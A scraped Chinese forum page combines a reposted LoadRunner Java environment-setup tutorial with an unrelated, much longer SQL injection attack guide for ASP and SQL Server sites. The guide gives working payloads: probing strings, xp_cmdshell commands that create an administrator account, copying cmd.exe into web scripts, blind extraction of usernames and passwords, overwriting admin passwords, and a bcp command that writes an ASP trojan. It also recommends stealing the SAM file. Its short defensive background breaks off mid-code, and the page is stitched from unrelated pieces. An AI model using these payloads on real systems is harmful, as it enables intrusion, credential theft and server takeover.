[转帖]loadrunner中JAVA环境变量设置_Android, Python及开发编程讨论区_Weblogic技术|Tuxedo技术|中间件技术|Oracle论坛|JAVA论坛|Linux/Unix技术|hadoop论坛_联动北方技术论坛  
网站首页 | 关于我们 | 服务中心 | 经验交流 | 公司荣誉 | 成功案例 | 合作伙伴 | 联系我们 |
联动北方-国内领先的云技术服务提供商
»  游客             当前位置:  论坛首页 »  自由讨论区 »  Android, Python及开发编程讨论区 »
总帖数
1
每页帖数
101/1页1
返回列表
0
发起投票  发起投票 发新帖子
查看: 3911 | 回复: 0   主题: [转帖]loadrunner中JAVA环境变量设置        下一篇 
    本主题由 hui.chen 于 2015-1-28 15:30:28 移动
竹林风88
注册用户
等级:新兵
经验:61
发帖:6
精华:0
注册:2013-3-20
状态:离线
发送短消息息给竹林风88 加好友    发送短消息息给竹林风88 发消息
发表于: IP:您无权察看 2014-10-28 16:22:20 | [全部帖] [楼主帖] 楼主

众所周知,Java语言是一门非常适合网络开发的语言,用Java语言进行性能测试脚本开发将会大大提高测试开发效率。LoadRunner中提供了对Java虚拟用户的支持。Java虚拟用户依托于JDK,这大大扩充了LoadRunner的脚本开发功能。测试人员既可以用Java虚拟用户来测试基于Java的应用系统的性能,又可以使用Java语言的强大开发脚本功能来测试其他平台的系统性能。

    本章将和读者一起探索LoadRunner的Java世界,重点讨论如何开发Java自定义的虚拟用户脚本。本章主要内容如下:

    n 认识Java虚拟用户

    n Java脚本开发基础

    n Java算法测试案例

    7.1 认识Java虚拟用户

    7.1.1 Java虚拟用户协议

    Java虚拟用户脚本主要有Java Vuser、Corba-Java、RMI-Java、EJB等类型。这些类型的虚拟用户脚本均可以用Java语言来手工编写。下面将对各类Java虚拟用户简单地进行介绍。

Java Vuser


 Java Vuser是自定义的Java虚拟用户脚本,脚本中可以使用标准的Java语言。这种虚拟用户不可以录制,只能采用纯手工编写,其适用范围和C Vuser一样,非常广泛。

    本章主要探讨Java Vuser的开发方法。

Corba-Java


 Corba-Java类型的虚拟用户主要用来测试用Java编写的、使用Corba应用程序或小程序的性能,用户可以先运行VuGen录制的脚本,然后使用标准的Java库函数以及LoadRunner特有的Java方法来增强该脚本。

RMI-Java


 RMI-Java 虚拟用户适用于测试RMI(远程方法调用)Java应用程序或小程序。选择RMI-Java 用户进行录制,VuGen可以创建对应的Java脚本。完成录制后,可以使用JDK或自定义类,通过标准的Java代码来增强或修改脚本,还可以通过特定于LoadRunner的Java方法增强该脚本。

EJB


 EJB虚拟用户专门用于测试Enterprise Java Beans对象。采用EJB协议,VuGen会自动创建脚本以测试EJB功能,无需录制或编程,这和标准的Java Vuser明显不同。

    在使用EJB协议类型的虚拟用户生成脚本前,需要指定JNDI属性和关于应用程序服务器的其他信息。LoadRunner的EJB检测器首先扫描应用程序服务器并确定哪些EJB可用;接着选择要测试的EJB,LoadRunner将生成要测试每个EJB方法的脚本,并为每个方法创建事务,便于度量其性能并找出问题。

    需要注意的是,创建EJB虚拟用户测试脚本必须在应用程序服务器主机上安装LoadRunner EJB检测器,而且检测器必须处于活动状态。EJB检测器是一个独立的代理程序,必须将其安装在要扫描查找EJB的每一台计算机上。安装EJB检测器前,计算机上还需要安装有效的JDK环境。

    本书中将以Java Vuser为例来讲解Java虚拟用户的开发和使用方法。Corba-Java、RMI-Java、EJB、Jacada Vuser等类型的虚拟用户使用方法可以参考LoadRunner的联机帮助手册,但是其手工脚本的开发方法与Java Vuser是一样的。

    在“新建虚拟用户”对话框中的“自定义”或“全部协议”类别下选择“Java Vuser”即可创建空的Java Vuser脚本,如图7-1所示。

    在自动生成的脚本中,vuser_init、vuser_end部分没有任何内容,Actions部分生成的脚本如图7-2所示。对于Java类型的虚拟用户,可以编辑Actions类,而init、end部分则不可以进行编辑。在Actions类中,有三个方法init、action和end,通常在init方法中编写初始化代码、在action方法中编写业务流程、在end方法中编写诸如释放资源之类的代码。

    图7-1 选择Java Vuser协议

    图7-2 Java Vuser自动生成的Actions部分

    Java Vuser脚本中可以放置任何标准Java代码,这也是Java虚拟用户的魅力所在。

    7.1.2 Java虚拟用户适用范围

    LoadRunner完全支持C语言,原则上可以用C语言实现任何想要录制的功能。但是C语言的特点决定了这样做是不现实的:一是性能测试脚本开发成本非常高;二是很多企业的测试人员开发基础不好。因此,性能测试开发多选用C++、C#、Java等面向对象语言——因为这类语言既有成熟的集成开发工具,又有庞大的类库来支撑,测试脚本开发速度会更快。下一章将重点介绍如何用.NET来开发性能测试脚本。

    Java虚拟用户适用范围非常广,归纳起来主要有两大类:一类是不太适合录制的业务功能点的性能测试,例如网页上Http文件的下载过程、视频播放等;另一类是基于Java语言开发的应用系统的性能测试,这类应用更适合采用Java虚拟用户进行测试。

    用Java Vuser实现无法录制的测试需求

    这类测试需求往往关注于对服务器产生的压力,重点测试在一定压力下服务器的负载情况,为评估、部署、调优系统提供参考。在这类测试工作中,Java的作用仅是一门语言,用于辅助测试人员完成测试程序的开发。

    在性能测试工作中,不能录制的测试点很多,主要有以下几类:

    l 含有控件的Web应用

    在Web应用中,很多包含一些插件的浏览器应用经常不能录制。这类应用往往涉及很多协议,因此录制起来不是特别方便。

    对于这类应用,可以用Java语言调用其功能来完成用户行为的模拟。

    l 一些和媒体播放、文件下载等相关的应用

    媒体播放或文件下载等过程的录制往往不容易控制,如果是应用基于P2P的协议,则会更加复杂。因此,这类测试只能由测试人员开发虚拟用户脚本来完成。

    用Java Vuser测试基于Java语言的应用系统性能

    相比前面,基于Java语言开发的应用系统,在性能测试中采用Java虚拟用户更显得“门当户对”。这类虚拟用户主要应用在下面两类测试中:

    l 核心算法或业务的执行效率

    对银行、电信等大型的基于J2EE的架构应用系统中,开发阶段的性能测试是必不可少的。为了降低后期遇到性能问题的风险,往往在开发阶段进行一些核心业务的性能测试。这些核心业务或要求较高的执行效率,或者要求支持较多用户的并发。因此,可以利用Java Vuser来测试这些业务的执行效率。

    l Java应用中不能录制的业务模块

    很多时候,一些J2EE架构的业务系统用LoadRunner录制起来不是特别方便,例如一些Java智能客户端程序。这时可以手工编写测试代码,完成测试任务。与非Java应用相比,Java应用中不能录制的业务功能更适合采用Java虚拟用户,因为可以直接对一些方法进行调用。

    由于Java语言的强大功能,Java虚拟用户的应用远不止上面这些,读者可以慢慢挖掘。

    7.1.3 脚本开发环境配置

    Java虚拟用户需要Java开发与运行环境的支持,因此首先要安装JDK。JDK是Java开发工具包的简称(Java Development Kit),Sun公司将JDK1.2以后的版本通称为Java 2。JDK的另外一种叫法是J2SDK(Java 2 Software Development Kit),现在比较常见的J2SDK是1.4以上的版本。JDK可以从http://java.sun.com/网站上下载,这里不再赘述。

    下面简单介绍Java虚拟用户开发与运行环境的配置。在本章中,JDK安装在“C:\j2sdk1.4.1”路径下,LoadRunner安装在“D:\Program Files\Mercury Interactive\Mercury LoadRunner”目录下,系统调试环境以Windows XP为例。

    第一步:在桌面上右键点击“我的电脑”,进入到“系统属性”设置界面,切换到“高级”选项卡,如图7-3所示。

    第二步:点击图7-3中的“环境变量”,进入到环境变量配置界面,如图7-4所示。

    第三步:在图7-4的“系统变量”中,选中CLASSPATH,点击编辑,如果没有CLASSPATH,则点击“新建”,同样会进入图7-5所示的界面。

    通常安装了LoadRunner等软件的系统会创建CLASSPATH变量。这里需要注意的是,一定要在CLASSPATH变量值的最前面输入当前路径“.”和JDK的类库路径,例如“.;C:\j2sdk1.4.1\lib; C:\j2sdk1.4.1\jre\lib;”,否则将可能导致Java虚拟用户的运行错误。

    例如:在图7-4中,CLASSPAT变量值是“.;C:\j2sdk1.4.1\lib; C:\j2sdk1.4.1\jre\lib;D:\ Tomcat-5.0\common\lib; D:\Program Files\Mercury Interactive\Mercury LoadRunner\ classes;D:\ Program Files\ Mercury Interactive\Mercury LoadRunner\lib”。

    图7-3 系统属性界面

    图7-4 环境变量设置

    图7-5 系统类路径设置

    第四步:在图7-4的“系统变量”中,选中Path,点击编辑,会进入图7-6所示的界面。在变量值的最前面填上JDK开发工具包的bin目录路径。

    图7-6 系统Path设置

    这里仍然要在Path变量值的最前面输入当前路径“· ”和JDK的bin目录路径,如“.;C:\j2sdk1.4.1\bin;C:\j2sdk1.4.1\jre\bin;”,否则Java虚拟用户可能产生运行错误。

    例如在图7-6中,Path变量值是:

“.;C:\j2sdk1.4.1\bin;C:\j2sdk1.4.1\jre\bin;D:\Program Files\Mercury Interactive\Mercury LoadRunner\bin;%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem; C:\Program Files\Intel\Wireless\Bin\”。


 开发环境的配置会因操作系统和应用程序的安装路径不同而有所差异,根据实际情况进行相应的修改即可。

    查看(855) 评论(0) 收藏 分享 管理 

    oracle性能查看2 2009-11-02 18:44:17

    查看(8) 评论(0) 收藏 分享 管理 

    oracle性能查看 2009-11-02 18:38:08

    查看(6) 评论(0) 收藏 分享 管理 

    学用SQL语句 2009-11-02 18:38:08

    查看(5) 评论(0) 收藏 分享 管理 

    SQL注入攻击 2009-03-31 17:13:12

    SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况,需要构造巧妙的SQL语句,从而成功获取想要的数据。

    SQL注入攻击的总体思路

    ·发现SQL注入位置;

    ·判断后台数据库类型;

    ·确定XP_CMDSHELL可执行情况

    ·发现WEB虚拟目录

    ·上传ASP木马;

    ·得到管理员权限;

    SQL注入攻击的步骤

    一、SQL注入漏洞的判断

    一般来说,SQL注入一般存在于形如:HTTP://xxx.xxx.xxx/abc.asp?id=XX等带有参数的ASP动态网页中,有时一个动态网页中可能只有一个参数,有时可能有N个参数,有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在SQL注入。如果ASP程序员没有安全意识,不进行必要的字符过滤,存在SQL注入的可能性就非常大。

    为了全面了解动态网页回答的信息,首选请调整IE的配置。把IE菜单-工具-Internet选项-高级-显示友好HTTP错误信息前面的勾去掉。

    为了把问题说明清楚,以下以HTTP://xxx.xxx.xxx/abc.asp?p=YY为例进行分析,YY可能是整型,也有可能是字符串。

    1、整型参数的判断

    当输入的参数YY为整型时,通常abc.asp中SQL语句原貌大致如下:

    select * from 表名 where 字段=YY,所以可以用以下步骤测试SQL注入是否存在。

    ①HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号),此时abc.ASP中的SQL语句变成了

    select * from 表名 where 字段=YY’,abc.asp运行异常;

    ②HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=1, abc.asp运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;

    ③HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=2, abc.asp运行异常;

    如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。

    2、字符串型参数的判断

    当输入的参数YY为字符串时,通常abc.asp中SQL语句原貌大致如下:

    select * from 表名 where 字段='YY',所以可以用以下步骤测试SQL注入是否存在。

    ①HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号),此时abc.ASP中的SQL语句变成了

    select * from 表名 where 字段=YY’,abc.asp运行异常;

    ②HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='1', abc.asp运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;

    ③HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='2', abc.asp运行异常;

    如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。

    3、特殊情况的处理

    有时ASP程序员会在程序员过滤掉单引号等字符,以防止SQL注入。此时可以用以下几种方法试一试。

    ①大小定混合法:由于VBS并不区分大小写,而程序员在过滤时通常要么全部过滤大写字符串,要么全部过滤小写字符串,而大小写混合往往会被忽视。如用SelecT代替select,SELECT等;

    ②UNICODE法:在IIS中,以UNICODE字符集实现国际化,我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。如+ =%2B,空格=%20 等;URLEncode信息参见附件一;

    ③ASCII码法:可以把输入的部分或全部字符全部用ASCII码代替,如U=chr(85),a=chr(97)等,ASCII信息参见附件二;

    二、分析数据库服务器类型

    一般来说,ACCESS与SQL-SERVER是最常用的数据库服务器,尽管它们都支持T-SQL标准,但还有不同之处,而且不同的数据库有不同的攻击方法,必须要区别对待。

    1、 利用数据库服务器的系统变量进行区分

    SQL-SERVER有user,db_name()等系统变量,利用这些系统值不仅可以判断SQL-SERVER,而且还可以得到大量有用信息。如:

    ① HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0 不仅可以判断是否是SQL-SERVER,而还可以得到当前连接到数据库的用户名

    ②HTTP://xxx.xxx.xxx/abc.asp?p=YY&n ... db_name()>0 不仅可以判断是否是SQL-SERVER,而还可以得到当前正在使用的数据库名;

    2、利用系统表

    ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects,在WEB环境下有访问权限。对于以下两条语句:

    ①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from sysobjects)>0

    ②HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from msysobjects)>0

    若数据库是SQL-SERVE,则第一条,abc.asp一定运行正常,第二条则异常;若是ACCESS则两条都会异常。

    3、 MSSQL三个关键系统表

    sysdatabases系统表:Microsoft SQL Server 上的每个数据库在表中占一行。最初安装 SQL Server 时,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。 这个表保存在master数据库中,这个表中保存的是什么信息呢?这个非常重要。他是 保存了所有的库名,以及库的ID和一些相关信息。 

    这里我把对于我们有用的字段名称和相关说明给大家列出来。name //表示库的名字。

dbid //表示库的ID,dbid从1到5是系统的。分别是:master、model、msdb、mssqlweb、tempdb 这五个库。用select * from master.dbo.sysdatabases 就可以查询出所有的库名。


 Sysobjects:SQL-SERVER的每个数据库内都有此系统表,它存放该数据库内创建的所有对象,如约束、默认值、日志、规则、存储过程等,每个对象在表中占一行。

    syscolumns:每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。该表位于每个数据库中。主要字段有: 

    name ,id, colid :分别是字段名称,表ID号,字段ID号,其中的 ID 是 刚上我们用sysobjects得到的表的ID号。

    用: select * from ChouYFD.dbo.syscolumns where id=123456789 得到ChouYFD这个库中,表的ID是123456789中的所有字段列表。

    三、确定XP_CMDSHELL可执行情况

    若当前连接数据的帐号具有SA权限,且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行,则整个计算机可以通过以下几种方法完全控制,以后的所有步骤都可以省

    1、HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... er>0 abc.asp执行异常但可以得到当前连接数据库的用户名(若显示dbo则代表SA)。

    2、HTTP://xxx.xxx.xxx/abc.asp?p=YY ... me()>0 abc.asp执行异常但可以得到当前连接的数据库名。

    3、HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell “net user aaa bbb /add”-- (master是SQL-SERVER的主数据库;名中的分号表示SQL-SERVER执行完分号前的语句名,继续执行其后面的语句;“—”号是注解,表示其后面的所有内容仅为注释,系统并不执行)可以直接增加操作系统帐户aaa,密码为bbb。

    4、HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell “net localgroup administrators aaa /add”-- 把刚刚增加的帐户aaa加到administrators组中。

    5、HTTP://xxx.xxx.xxx/abc.asp?p=YY;backuup database 数据库名 to disk='c:\inetpub\wwwroot\save.db' 则把得到的数据内容全部备份到WEB目录下,再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。

    6、通过复制CMD创建UNICODE漏洞

HTTP://xxx.xxx.xxx/abc.asp?p=YY;exe ... dbo.xp_cmdshell “copy c:\winnt\system32\cmd.exe c:\inetpub\scripts\cmd.exe” 便制造了一个UNICODE漏洞,通过此漏洞的利用方法,便完成了对整个计算机的控制(当然首选要知道WEB虚拟目录)。


    四、发现WEB虚拟目录

    只有找到WEB虚拟目录,才能确定放置ASP木马的位置,进而得到USER权限。有两种方法比较有效。

    一是根据经验猜解,一般来说,WEB虚拟目录是:c:\inetpub\wwwroot; D:\inetpub\wwwroot; E:\inetpub\wwwroot等,而可执行虚拟目录是:c:\inetpub\scripts; D:\inetpub\scripts; E:\inetpub\scripts等。

    二是遍历系统的目录结构,分析结果并发现WEB虚拟目录;

    先创建一个临时表:temp

HTTP://xxx.xxx.xxx/abc.asp?p=YY;create&n ... mp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--


 接下来:

    (1)利用xp_availablemedia来获得当前所有驱动器,并存入temp表中:

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert temp ... ter.dbo.xp_availablemedia;--


 我们可以通过查询temp的内容来获得驱动器列表及相关信息

    (2)利用xp_subdirs获得子目录列表,并存入temp表中:

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(i ... dbo.xp_subdirs 'c:\';--

    (3)利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中:

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--


 注意:

    1、以上每完成一项浏览后,应删除TEMP中的所有内容,删除方法是:

HTTP://xxx.xxx.xxx/abc.asp?p=YY;delete from temp;--


 2、浏览TEMP表的方法是:(假设TestDB是当前连接的数据库名)

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top& ... nbsp;TestDB.dbo.temp )>0 得到表TEMP中第一条记录id字段的值,并与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现id字段的值。假设发现的表名是xyz,则
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 id from ... ere id not in('xyz'))>0 得到表TEMP中第二条记录id字段的值。


    五、上传ASP木马

    所谓ASP木马,就是一段有特殊功能的ASP代码,并放入WEB虚拟目录的Scripts下,远程客户通过IE就可执行它,进而得到系统的USER权限,实现对系统的初步控制。上传ASP木马一般有两种比较有效的方法:

    1、利用WEB的远程管理功能

    许多WEB站点,为了维护的方便,都提供了远程管理的功能;也有不少WEB站点,其内容是对于不同的用户有不同的访问权限。为了达到对用户权限的控制,都有一个网页,要求用户名与密码,只有输入了正确的值,才能进行下一步的操作,可以实现对WEB的管理,如上传、下载文件,目录浏览、修改配置等。

    因此,若获取正确的用户名与密码,不仅可以上传ASP木马,有时甚至能够直接得到USER权限而浏览系统,上一步的“发现WEB虚拟目录”的复杂操作都可省略。

    用户名及密码一般存放在一张表中,发现这张表并读取其中内容便解决了问题。以下给出两种有效方法。

    A、 注入法:

    从理论上说,认证网页中会有型如:

    select * from admin where username='XXX' and password='YYY' 的语句,若在正式运行此句之前,没有进行必要的字符过滤,则很容易实施SQL注入。

    如在用户名文本框内输入:abc’ or 1=1-- 在密码框内输入:123 则SQL语句变成:

    select * from admin where username='abc’ or 1=1 and password='123’ 不管用户输入任何用户名与密码,此语句永远都能正确执行,用户轻易骗过系统,获取合法身份。

    B、猜解法:

    基本思路是:猜解所有数据库名称,猜出库中的每张表名,分析可能是存放用户名与密码的表名,猜出表中的每个字段名,猜出表中的每条记录内容。

    猜解所有数据库名称

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0 因为 dbid 的值从1到5,是系统用了。所以用户自己建的一定是从6开始的。并且我们提交了 name>1 (name字段是一个字符型的字段和数字比较会出错),abc.asp工作异常,可得到第一个数据库名,同理把DBID分别改成7,8,9,10,11,12…就可得到所有数据库名。


    以下假设得到的数据库名是TestDB。

    猜解数据库中用户名表的名称

    猜解法:此方法就是根据个人的经验猜表名,一般来说,user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。并通过语句进行判断

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from TestDB.dbo.表名)>0 若表名存在,则abc.asp工作正常,否则异常。如此循环,直到猜到系统帐号表的名称。


    读取法:SQL-SERVER有一个存放系统核心信息的表sysobjects,有关一个库的所有表,视图等信息全部存放在此表中,而且此表可以通过WEB进行访问。 

    当xtype='U' and status>0代表是用户建立的表,发现并分析每一个用户建立的表及名称,便可以得到用户名表的名称,基本的实现方法是:

    ①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestD ... type='U' and status>0 )>0 得到第一个用户建立表的名称,并与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现表的名称。假设发现的表名是xyz,则

    ②HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestDB.dbo.sysobjects& ... tatus>0 and name not in('xyz'))>0 可以得到第二个用户建立的表的名称,同理就可得到所有用建立的表的名称。

    根据表的名称,一般可以认定那张表用户存放用户名及密码,以下假设此表名为Admin。

    l 猜解用户名字段及密码字段名称

    admin表中一定有一个用户名字段,也一定有一个密码字段,只有得到此两个字段的名称,才有可能得到此两字段的内容。如何得到它们的名称呢,同样有以下两种方法。

    猜解法:此方法就是根据个人的经验猜字段名,一般来说,用户名字段的名称常用:username,name,user,account等。而密码字段的名称常用:password,pass,pwd,passwd等。并通过语句进行判断

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(字段名) from TestDB.dbo.admin)>0 “select count(字段名) from 表名”语句得到表的行数,所以若字段名存在,则abc.asp工作正常,否则异常。如此循环,直到猜到两个字段的名称。


    读取法:基本的实现方法是

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select ... me(object_id('admin'),1) from TestDB.dbo.sysobjects)>0 。select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects是从sysobjects得到已知表名的第一个字段名,当与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现字段的名称。把col_name(object_id('admin'),1)中的1依次换成2,3,4,5,6…就可得到所有的字段名称。


    l 猜解用户名与密码

    猜用户名与密码的内容最常用也是最有效的方法有:

    ASCII码逐字解码法:虽然这种方法速度较慢,但肯定是可行的。基本的思路是先猜出字段的长度,然后依次猜出每一位的值。猜用户名与猜密码的方法相同,以下以猜用户名为例说明其过程。

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top&n ... nbsp;from TestDB.dbo.admin)=X(X=1,2,3,4,5,… n,username为用户名字段的名称,admin为表的名称),若x为某一值i且abc.asp运行正常时,则i就是第一个用户名的长度。如:当输入
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top ... e) from TestDB.dbo.admin)=8时abc.asp运行正常,则第一个用户名的长度为8
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,m,1)) from TestDB.dbo.admin)=n (m的值在1到上一步得到的用户名长度之间,当m=1,2,3,…时猜测分别猜测第1,2,3,…位的值;n的值是1~9、a~z、A~Z的ASCII值,也就是1~128之间的任意值;admin为系统用户帐号表的名称),若n为某一值i且abc.asp运行正常时,则i对应ASCII码就是用户名某一位值。如:当输入
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,3,1)) from TestDB.dbo.admin)=80时abc.asp运行正常,则用户名的第三位为P(P的ASCII为80);
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,9,1)) from TestDB.dbo.admin)=33时abc.asp运行正常,则用户名的第9位为!(!的ASCII为80);


    猜到第一个用户名及密码后,同理,可以猜出其他所有用户名与密码。注意:有时得到的密码可能是经MD5等方式加密后的信息,还需要用专用工具进行脱密。或者先改其密码,使用完后再改回来,见下面说明。

    简单法:猜用户名用

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 ... o.admin where username>1) , flag是admin表中的一个字段,username是用户名字段,此时abc.asp工作异常,但能得到Username的值。与上同样的方法,可以得到第二用户名,第三个用户等等,直到表中的所有用户名。


    猜用户密码:HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1&nb ... B.dbo.admin where pwd>1) , flag是admin表中的一个字段,pwd是密码字段,此时abc.asp工作异常,但能得到pwd的值。与上同样的方法,可以得到第二用户名的密码,第三个用户的密码等等,直到表中的所有用户的密码。密码有时是经MD5加密的,可以改密码。

HTTP://xxx.xxx.xxx/abc.asp?p=YY;update TestDB.dbo.admin set pwd=' ... where username='www';-- ( 1的MD5值为:AAABBBCCCDDDEEEF,即把密码改成1;www为已知的用户名)


    用同样的方法当然可把密码改原来的值。

    2、利用表内容导成文件功能

    SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。

    命令行格式如下:

bcp "select * from text..foo" queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost –U sa –P foobar ('S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,最终上传了一个runcommand.asp的木马)


    六、得到系统的管理员权限

    ASP木马只有USER权限,要想获取对系统的完全控制,还要有系统的管理员权限。怎么办?提升权限的方法有很多种:

    上传木马,修改开机自动运行的.ini文件(它一重启,便死定了);

    复制CMD.exe到scripts,人为制造UNICODE漏洞;

    下载SAM文件,破解并获取OS的所有用户名密码;

    等等,视系统的具体情况而定,可以采取不同的方法。

    七、几个SQL-SERVER专用手段

    1、利用xp_regread扩展存储过程修改注册表

    [xp_regread]另一个有用的内置存储过程是xp_regXXXX类的函数集合(Xp_regaddmultistring,Xp_regdeletekey,Xp_regdeletevalue,Xp_regenumkeys,Xp_regenumvalues,Xp_regread,Xp_regremovemultistring,Xp_regwrite)。攻击者可以利用这些函数修改注册表,如读取SAM值,允许建立空连接,开机自动运行程序等。如:

    exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares' 确定什么样的会话连接在服务器可用。

    exec xp_regenumvalues HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities' 显示服务器上所有SNMP团体配置,有了这些信息,攻击者或许会重新配置同一网络中的网络设备。

    2、利用其他存储过程去改变服务器

    xp_servicecontrol过程允许用户启动,停止服务。如:

(exec master..xp_servicecontrol 'start','schedule'
exec master..xp_servicecontrol 'start','server')


 Xp_availablemedia 显示机器上有用的驱动器

    Xp_dirtree 允许获得一个目录树

    Xp_enumdsn 列举服务器上的ODBC数据源

    Xp_loginconfig 获取服务器安全信息

    Xp_makecab 允许用户在服务器上创建一个压缩文件

    Xp_ntsec_enumdomains 列举服务器可以进入的域

    Xp_terminate_process 提供进程的进程ID,终止此进程

    SQL注入攻击的背景

    在计算机技术高速发展的今天,越来越让人们头疼的是面临越来越“变态”和复杂的威胁网站技术,他们利用Internet 执行各种恶意活动,如身份窃取、私密信息窃取、带宽资源占用等。它们潜入之后,还会扩散并不断更新自己。这些活动常常利用用户的好奇心,在用户不知道或未来允许的情况下潜入用户的PC,不知不觉中,帐户里的资金就被转移了,公司讯息也被传送出去,危害十分严重。2006年8月16日,第一个Web威胁样本出现,截止到2006年10月25日,已经产生了第150个变种,并且,还在不断地演化下去。

    网站威胁的目标定位有多个维度,是个人还是公司,还是某种行业,都有其考虑,甚至国家、地区、性别、种族、宗教等也成为发动攻击的原因或动机。攻击还会采用多种形态,甚至是复合形态,比如病毒、蠕虫、特洛伊、间谍软件、僵尸、网络钓鱼电子邮件、漏洞利用、下载程序、社会工程、rootkit、黑客,结果都可以导致用户信息受到危害,或者导致用户所需的服务被拒绝和劫持。从其来源说Web威胁还可以分为内部攻击和外部攻击两类。前者主要来自信任网络,可能是用户执行了未授权访问或是无意中定制了恶意攻击;后者主要是由于网络漏洞被利用或者用户受到恶意程序制定者的专一攻击。

    SQL注入攻击的网络分析

    SQL注入攻击是非常令人讨厌的安全漏洞,是所有的web开发人员,不管是什么平台,技术,还是数据层,需要确信他们理解和防止的东西。不幸的是,开发人员往往不集中花点时间在这上面,以至他们的应用,更糟糕的是,他们的客户极其容易受到攻击。

    Michael Sutton 最近发表了一篇非常发人深省的帖子,讲述在公共网上这问题是多么地普遍。他用Google的Search API建了一个C#的客户端程序,寻找那些易受SQL 注入攻击的网站。其步骤很简单:

    1,寻找那些带查询字符串的网站(例如,查询那些在URL里带有 "id=" 的URL) 

    2,给这些确定为动态的网站发送一个请求,改变其中的id=语句,带一个额外的单引号,来试图取消其中的SQL语句(例如,如 id=6' ) 

    3,分析返回的回复,在其中查找象“SQL” 和“query”这样的词,这往往表示应用返回了详细的错误消息(这本身也是很糟糕的) 

    4,检查错误消息是否表示发送到SQL服务器的参数没有被正确加码(encoded),如果如此,那么表示可对该网站进行SQL注入攻击

    对通过Google搜寻找到的1000个网站的随机取样测试,他检测到其中的11.3%有易受SQL注入攻击的可能。这非常,非常地可怕。这意味着黑客可以远程利用那些应用里的数据,获取任何没有hashed或加密的密码或信用卡数据,甚至有以管理员身份登陆进这些应用的可能。这不仅对开发网站的开发人员来说很糟糕,而且对使用网站的消费者或用户来说更糟糕,因为他们给网站提供了数据,想着网站是安全的呢。

    那么SQL注入攻击到底是什么玩意?

    有几种情形使得SQL注入攻击成为可能。最常见的原因是,你动态地构造了SQL语句,却没有使用正确地加了码(encoded)的参数。譬如,考虑这个SQL查询的编码,其目的是根据由查询字符串提供的社会保险号码(social security number)来查询作者(Authors):

Dim SSN as String
Dim SqlQuery as String
